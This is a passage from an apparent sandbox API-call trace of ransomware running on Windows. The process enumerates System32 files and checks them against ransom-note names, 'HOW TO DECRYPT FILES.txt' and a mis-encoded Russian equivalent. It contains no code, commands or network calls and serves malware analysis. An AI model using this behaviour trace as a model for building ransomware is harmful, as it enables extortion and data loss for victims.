dwReserved0=0x0, dwReserved1=0x0, cFileName="cewmdm.dll", cAlternateFileName="")) returned 1 [0144.072] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.073] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="cewmdm.dll") returned 1 [0144.073] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="cewmdm.dll") returned 1 [0144.073] lstrcmpiA (lpString1="", lpString2="cewmdm.dll") returned -1 [0144.073] PathFindFileNameA (pszPath="C:\\Windows\\System32\\certutil.exe") returned="certutil.exe" [0144.073] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.073] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.073] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" [0144.073] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\how to decrypt files.txt")) returned 0x20 [0144.073] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="cewmdm.dll" | out: lpString1="C:\\Windows\\System32\\cewmdm.dll") returned="C:\\Windows\\System32\\cewmdm.dll" [0144.073] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x582c16a8, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x582c16a8, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x83683670, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xbe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="cfgbkend.dll", cAlternateFileName="")) returned 1 [0144.073] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.073] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="cfgbkend.dll") returned 1 [0144.073] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="cfgbkend.dll") returned 1 [0144.074] lstrcmpiA (lpString1="", lpString2="cfgbkend.dll") returned -1 [0144.074] PathFindFileNameA (pszPath="C:\\Windows\\System32\\cewmdm.dll") returned="cewmdm.dll" [0144.074] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.074] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.074] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" [0144.074] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\how to decrypt files.txt")) returned 0x20 [0144.074] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="cfgbkend.dll" | out: lpString1="C:\\Windows\\System32\\cfgbkend.dll") returned="C:\\Windows\\System32\\cfgbkend.dll" [0144.074] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f01d97d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8f01d97d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8f01d97d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x23a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="cfgmgr32.dll", cAlternateFileName="")) returned 1 [0144.074] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.074] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="cfgmgr32.dll") returned 1 [0144.074] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="cfgmgr32.dll") returned 1 [0144.074] lstrcmpiA (lpString1="", lpString2="cfgmgr32.dll") returned -1 [0144.075] PathFindFileNameA (pszPath="C:\\Windows\\System32\\cfgbkend.dll") returned="cfgbkend.dll" [0144.075] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.075] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.075] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" [0144.075] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\how to decrypt files.txt")) returned 0x20 [0144.075] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="cfgmgr32.dll" | out: lpString1="C:\\Windows\\System32\\cfgmgr32.dll") returned="C:\\Windows\\System32\\cfgmgr32.dll" [0144.075] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55eea375, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x55eea375, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x49868390, ftLastWriteTime.dwHighDateTime=0x1ca041f, nFileSizeHigh=0x0, nFileSizeLow=0x1ec00, dwReserved0=0x0, dwReserved1=0x0, cFileName="chajei.ime", cAlternateFileName="")) returned 1 [0144.075] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.075] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="chajei.ime") returned 1 [0144.075] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="chajei.ime") returned 1 [0144.075] lstrcmpiA (lpString1="", lpString2="chajei.ime") returned -1 [0144.075] PathFindFileNameA (pszPath="C:\\Windows\\System32\\cfgmgr32.dll") returned="cfgmgr32.dll" [0144.076] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.076] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.076] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" [0144.076] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\how to decrypt files.txt")) returned 0x20 [0144.076] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="chajei.ime" | out: lpString1="C:\\Windows\\System32\\chajei.ime") returned="C:\\Windows\\System32\\chajei.ime" [0144.076] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d6430a2, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x6d6430a2, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x66aa93c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x25e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="charmap.exe", cAlternateFileName="")) returned 1 [0144.076] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.076] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="charmap.exe") returned 1 [0144.076] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="charmap.exe") returned 1 [0144.076] lstrcmpiA (lpString1="", lpString2="charmap.exe") returned -1 [0144.076] PathFindFileNameA (pszPath="C:\\Windows\\System32\\chajei.ime") returned="chajei.ime" [0144.076] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.076] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.076] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" [0144.077] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\how to decrypt files.txt")) returned 0x20 [0144.077] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="charmap.exe" | out: lpString1="C:\\Windows\\System32\\charmap.exe") returned="C:\\Windows\\System32\\charmap.exe" [0144.077] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0df3280, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0xc0df3280, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xc0e16d20, ftLastWriteTime.dwHighDateTime=0x1ca040f, nFileSizeHigh=0x0, nFileSizeLow=0x2e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="chcp.com", cAlternateFileName="")) returned 1 [0144.077] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.077] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="chcp.com") returned 1 [0144.077] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="chcp.com") returned 1 [0144.077] lstrcmpiA (lpString1="", lpString2="chcp.com") returned -1 [0144.077] PathFindFileNameA (pszPath="C:\\Windows\\System32\\charmap.exe") returned="charmap.exe" [0144.077] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.077] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.077] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" [0144.077] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\how to decrypt files.txt")) returned 0x20 [0144.078] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="chcp.com" | out: lpString1="C:\\Windows\\System32\\chcp.com") returned="C:\\Windows\\System32\\chcp.com" [0144.078] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc24dc5a6, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0xc24dc5a6, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x671340a0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="chkdsk.exe", cAlternateFileName="")) returned 1 [0144.078] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.078] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="chkdsk.exe") returned 1 [0144.078] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="chkdsk.exe") returned 1 [0144.078] lstrcmpiA (lpString1="", lpString2="chkdsk.exe") returned -1 [0144.078] PathFindFileNameA (pszPath="C:\\Windows\\System32\\chcp.com") returned="chcp.com" [0144.078] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.078] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.078] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" [0144.078] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\how to decrypt files.txt")) returned 0x20 [0144.078] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="chkdsk.exe" | out: lpString1="C:\\Windows\\System32\\chkdsk.exe") returned="C:\\Windows\\System32\\chkdsk.exe" [0144.079] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1fa75a9, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0xc1fa75a9, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x6715b1a0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x4200, dwReserved0=0x0, dwReserved1=0x0, cFileName="chkntfs.exe", cAlternateFileName="")) returned 1 [0144.079] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.079] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="chkntfs.exe") returned 1 [0144.079] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="chkntfs.exe") returned 1 [0144.079] lstrcmpiA (lpString1="", lpString2="chkntfs.exe") returned -1 [0144.079] PathFindFileNameA (pszPath="C:\\Windows\\System32\\chkdsk.exe") returned="chkdsk.exe" [0144.079] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.079] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.079] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" [0144.079] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\how to decrypt files.txt")) returned 0x20 [0144.079] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="chkntfs.exe" | out: lpString1="C:\\Windows\\System32\\chkntfs.exe") returned="C:\\Windows\\System32\\chkntfs.exe" [0144.080] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcdacf27f, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0xcdacf27f, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x671a6c90, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x7400, dwReserved0=0x0, dwReserved1=0x0, cFileName="choice.exe", cAlternateFileName="")) returned 1 [0144.080] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.080] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="choice.exe") returned 1 [0144.080] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="choice.exe") returned 1 [0144.080] lstrcmpiA (lpString1="", lpString2="choice.exe") returned -1 [0144.080] PathFindFileNameA (pszPath="C:\\Windows\\System32\\chkntfs.exe") returned="chkntfs.exe" [0144.080] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.080] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.080] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" [0144.080] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\how to decrypt files.txt")) returned 0x20 [0144.080] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="choice.exe" | out: lpString1="C:\\Windows\\System32\\choice.exe") returned="C:\\Windows\\System32\\choice.exe" [0144.080] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa78861e5, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xa78861e5, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x975560e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x198400, dwReserved0=0x0, dwReserved1=0x0, cFileName="chsbrkr.dll", cAlternateFileName="")) returned 1 [0144.080] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.080] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="chsbrkr.dll") returned 1 [0144.080] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="chsbrkr.dll") returned 1 [0144.081] lstrcmpiA (lpString1="", lpString2="chsbrkr.dll") returned -1 [0144.081] PathFindFileNameA (pszPath="C:\\Windows\\System32\\choice.exe") returned="choice.exe" [0144.081] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.081] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.081] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" [0144.081] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\how to decrypt files.txt")) returned 0x20 [0144.081] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="chsbrkr.dll" | out: lpString1="C:\\Windows\\System32\\chsbrkr.dll") returned="C:\\Windows\\System32\\chsbrkr.dll" [0144.081] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa83625fc, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xa83625fc, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x975560e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x5d2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="chtbrkr.dll", cAlternateFileName="")) returned 1 [0144.081] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.081] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="chtbrkr.dll") returned 1 [0144.081] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="chtbrkr.dll") returned 1 [0144.081] lstrcmpiA (lpString1="", lpString2="chtbrkr.dll") returned -1 [0144.081] PathFindFileNameA (pszPath="C:\\Windows\\System32\\chsbrkr.dll") returned="chsbrkr.dll" [0144.082] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.082] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.082] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" [0144.082] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\how to decrypt files.txt")) returned 0x20 [0144.082] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="chtbrkr.dll" | out: lpString1="C:\\Windows\\System32\\chtbrkr.dll") returned="C:\\Windows\\System32\\chtbrkr.dll" [0144.082] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4bf222e7, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x4bf222e7, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x83f24e00, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="CHxReadingStringIME.dll", cAlternateFileName="")) returned 1 [0144.082] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.082] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="CHxReadingStringIME.dll") returned 1 [0144.082] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="CHxReadingStringIME.dll") returned 1 [0144.082] lstrcmpiA (lpString1="", lpString2="CHxReadingStringIME.dll") returned -1 [0144.082] PathFindFileNameA (pszPath="C:\\Windows\\System32\\chtbrkr.dll") returned="chtbrkr.dll" [0144.082] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.082] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.082] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" [0144.083] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\how to decrypt files.txt")) returned 0x20 [0144.083] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="CHxReadingStringIME.dll" | out: lpString1="C:\\Windows\\System32\\CHxReadingStringIME.dll") returned="C:\\Windows\\System32\\CHxReadingStringIME.dll" [0144.083] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc23aa496, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0xc23aa496, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x83fbc3e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2a200, dwReserved0=0x0, dwReserved1=0x0, cFileName="cic.dll", cAlternateFileName="")) returned 1 [0144.083] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.083] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="cic.dll") returned 1 [0144.083] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="cic.dll") returned 1 [0144.083] lstrcmpiA (lpString1="", lpString2="cic.dll") returned -1 [0144.083] PathFindFileNameA (pszPath="C:\\Windows\\System32\\CHxReadingStringIME.dll") returned="CHxReadingStringIME.dll" [0144.083] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.083] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.083] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" [0144.083] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\how to decrypt files.txt")) returned 0x20 [0144.083] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="cic.dll" | out: lpString1="C:\\Windows\\System32\\cic.dll") returned="C:\\Windows\\System32\\cic.dll" [0144.085] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x560d9548, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x560d9548, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x4aab5480, ftLastWriteTime.dwHighDateTime=0x1ca041f, nFileSizeHigh=0x0, nFileSizeLow=0x1ec00, dwReserved0=0x0, dwReserved1=0x0, cFileName="cintlgnt.ime", cAlternateFileName="")) returned 1 [0144.085] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.085] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="cintlgnt.ime") returned 1 [0144.085] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="cintlgnt.ime") returned 1 [0144.085] lstrcmpiA (lpString1="", lpString2="cintlgnt.ime") returned -1 [0144.085] PathFindFileNameA (pszPath="C:\\Windows\\System32\\cic.dll") returned="cic.dll" [0144.085] lstrcpyA (in: lpString1=0x407019, 